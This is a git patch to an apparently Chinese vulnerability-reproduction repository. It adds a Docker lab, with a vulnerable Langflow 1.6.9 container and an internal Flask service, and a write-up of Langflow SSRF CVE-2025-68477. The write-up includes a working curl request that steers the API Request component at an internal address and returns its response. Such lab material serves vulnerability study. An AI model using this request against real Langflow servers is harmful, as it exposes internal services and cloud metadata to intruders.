From c98256c40264946110fad25a0b3552264810c710 Mon Sep 17 00:00:00 2001 From: Threekiii Date: Wed, 21 Jan 2026 16:22:08 +0800 Subject: [PATCH] update --- base/langflow/1.6.9-ssrf/docker-compose.yml | 25 +++++++++ .../1.6.9-ssrf/internal-api/Dockerfile | 8 +++ base/langflow/1.6.9-ssrf/internal-api/app.py | 9 ++++ base/langflow/1.6.9-ssrf/langflow/Dockerfile | 21 ++++++++ ...外部实体注入漏洞 CVE-2025-68493.md | 0 .../image-20260119143145687.png | Bin .../image-20260119144013838.png | Bin ...器端请求伪造漏洞 CVE-2025-68477.md | 49 ++++++++++++++++++ 8 files changed, 112 insertions(+) create mode 100644 base/langflow/1.6.9-ssrf/docker-compose.yml create mode 100644 base/langflow/1.6.9-ssrf/internal-api/Dockerfile create mode 100644 base/langflow/1.6.9-ssrf/internal-api/app.py create mode 100644 base/langflow/1.6.9-ssrf/langflow/Dockerfile rename {Web应用漏洞 => 中间件漏洞}/Apache Struts S2-069 XML 外部实体注入漏洞 CVE-2025-68493.md (100%) rename {Web应用漏洞 => 中间件漏洞}/images/Apache Struts S2-069 XML 外部实体注入漏洞 CVE-2025-68493/image-20260119143145687.png (100%) rename {Web应用漏洞 => 中间件漏洞}/images/Apache Struts S2-069 XML 外部实体注入漏洞 CVE-2025-68493/image-20260119144013838.png (100%) create mode 100644 人工智能漏洞/Langflow 服务器端请求伪造漏洞 CVE-2025-68477.md diff --git a/base/langflow/1.6.9-ssrf/docker-compose.yml b/base/langflow/1.6.9-ssrf/docker-compose.yml new file mode 100644 index 0000000..13c07bb --- /dev/null +++ b/base/langflow/1.6.9-ssrf/docker-compose.yml @@ -0,0 +1,25 @@ +networks: + ssrf-net: + driver: bridge + ipam: + config: + - subnet: 172.18.0.0/16 + +services: + langflow: + build: ./langflow + container_name: langflow + ports: + - "7860:7860" + networks: + ssrf-net: + ipv4_address: 172.18.0.2 + + internal-api: + build: ./internal-api + container_name: internal-api + expose: + - "8000" + networks: + ssrf-net: + ipv4_address: 172.18.0.3 diff --git a/base/langflow/1.6.9-ssrf/internal-api/Dockerfile b/base/langflow/1.6.9-ssrf/internal-api/Dockerfile new file mode 100644 index 0000000..843a9bc --- /dev/null +++ b/base/langflow/1.6.9-ssrf/internal-api/Dockerfile @@ -0,0 +1,8 @@ +FROM python:3.11-slim + +WORKDIR /app +RUN pip install flask + +COPY app.py . + +CMD ["python", "app.py"] diff --git a/base/langflow/1.6.9-ssrf/internal-api/app.py b/base/langflow/1.6.9-ssrf/internal-api/app.py new file mode 100644 index 0000000..cd0fd4f --- /dev/null +++ b/base/langflow/1.6.9-ssrf/internal-api/app.py @@ -0,0 +1,9 @@ +from flask import Flask, jsonify +app = Flask(__name__) + +@app.get("/internal") +def internal_root(): + return jsonify({"message":"ssrf ok !!"}), 200 + +if __name__ == "__main__": + app.run(host="0.0.0.0",port=8000) \ No newline at end of file diff --git a/base/langflow/1.6.9-ssrf/langflow/Dockerfile b/base/langflow/1.6.9-ssrf/langflow/Dockerfile new file mode 100644 index 0000000..a765720 --- /dev/null +++ b/base/langflow/1.6.9-ssrf/langflow/Dockerfile @@ -0,0 +1,21 @@ +FROM python:3.12-slim + +LABEL maintainer="threekiii " + +WORKDIR /usr/src + +RUN set -ex \ + && pip install --no-cache-dir uv \ + && uv venv \ + && uv pip install --no-cache-dir langflow==1.6.9 + +ENV LANGFLOW_HOST=0.0.0.0 \ + LANGFLOW_PORT=7860 \ + LANGFLOW_AUTO_LOGIN=false \ + LANGFLOW_SUPERUSER=administrator \ + LANGFLOW_SUPERUSER_PASSWORD=Passw0rd1@3 \ + DO_NOT_TRACK=true + +EXPOSE 7860 + +CMD ["uv", "run", "langflow", "run", "--host", "0.0.0.0", "--port", "7860"] diff --git a/Web应用漏洞/Apache Struts S2-069 XML 外部实体注入漏洞 CVE-2025-68493.md b/中间件漏洞/Apache Struts S2-069 XML 外部实体注入漏洞 CVE-2025-68493.md similarity index 100% rename from Web应用漏洞/Apache Struts S2-069 XML 外部实体注入漏洞 CVE-2025-68493.md rename to 中间件漏洞/Apache Struts S2-069 XML 外部实体注入漏洞 CVE-2025-68493.md diff --git a/Web应用漏洞/images/Apache Struts S2-069 XML 外部实体注入漏洞 CVE-2025-68493/image-20260119143145687.png b/中间件漏洞/images/Apache Struts S2-069 XML 外部实体注入漏洞 CVE-2025-68493/image-20260119143145687.png similarity index 100% rename from Web应用漏洞/images/Apache Struts S2-069 XML 外部实体注入漏洞 CVE-2025-68493/image-20260119143145687.png rename to 中间件漏洞/images/Apache Struts S2-069 XML 外部实体注入漏洞 CVE-2025-68493/image-20260119143145687.png diff --git a/Web应用漏洞/images/Apache Struts S2-069 XML 外部实体注入漏洞 CVE-2025-68493/image-20260119144013838.png b/中间件漏洞/images/Apache Struts S2-069 XML 外部实体注入漏洞 CVE-2025-68493/image-20260119144013838.png similarity index 100% rename from Web应用漏洞/images/Apache Struts S2-069 XML 外部实体注入漏洞 CVE-2025-68493/image-20260119144013838.png rename to 中间件漏洞/images/Apache Struts S2-069 XML 外部实体注入漏洞 CVE-2025-68493/image-20260119144013838.png diff --git a/人工智能漏洞/Langflow 服务器端请求伪造漏洞 CVE-2025-68477.md b/人工智能漏洞/Langflow 服务器端请求伪造漏洞 CVE-2025-68477.md new file mode 100644 index 0000000..d95c565 --- /dev/null +++ b/人工智能漏洞/Langflow 服务器端请求伪造漏洞 CVE-2025-68477.md @@ -0,0 +1,49 @@ +# Langflow 服务器端请求伪造漏洞 CVE-2025-68477 + +## 漏洞描述 + +Langflow 的 API Request 组件在接收用户输入（来自工作流配置或运行时参数）的 URL 后，仅进行格式校验与协议标准化，而未对目标地址实施任何网络边界检查（如阻止对本地回环地址 127.0.0.1、私有 IP 段 10.0.0.0/8、172.16.0.0/12、192.168.0.0/16 或云元数据地址 169.254.169.254 的访问）。由于执行工作流的接口仅需有效的 API 密钥即可调用，因此攻击者可通过构造包含恶意 URL 的工作流参数，使服务器端的 httpx 客户端代理其发起请求，并将完整的响应内容（包括响应体）返回给攻击者，从而实现非盲的服务器端请求伪造，导致信息泄露。 + +## 漏洞影响 + +``` +Langflow < 1.7.1 +``` + +## 环境搭建 + +参考 [环境配置](https://github.com/Threekiii/Awesome-POC/) ，启动一个 Langflow 1.6.9-ssrf 服务： + +``` +docker-compose up -d +``` + +服务启动后，访问 `https://your-ip:7860` 即可查看到 Langflow 主页，通过账号密码 `administrator/Passw0rd1@3` 登录后台。 + +## 漏洞复现 + +``` +curl -s -X POST 'http://localhost:7860/api/v1/run/advanced/af515f8c-9324-465e-b8d1-df47633a5eda' \ + -H 'Content-Type: application/json' \ + -H 'x-api-key: sk-2VQ_XsHPY2KIpXxGBmnNYFbANjgs0yTL6DV0TIWyjn4' \ + --data-raw '{ + "inputs":[ + { + "components":["Chat Input"], + "input_value":"test" + } + ], + "outputs":["Chat Output"], + "tweaks":{ + "API Request":{ + "url_input":"http://172.18.0.3:8000/internal", + "include_httpx_metadata":false + } + }, + "stream":false + }' | jq -r '.outputs[0].outputs[0].results.message.text | sub("^```json\\n"; "") | sub("\\n```$"; "") | fromjson | .result' +``` + +## 漏洞 POC + +## 漏洞修复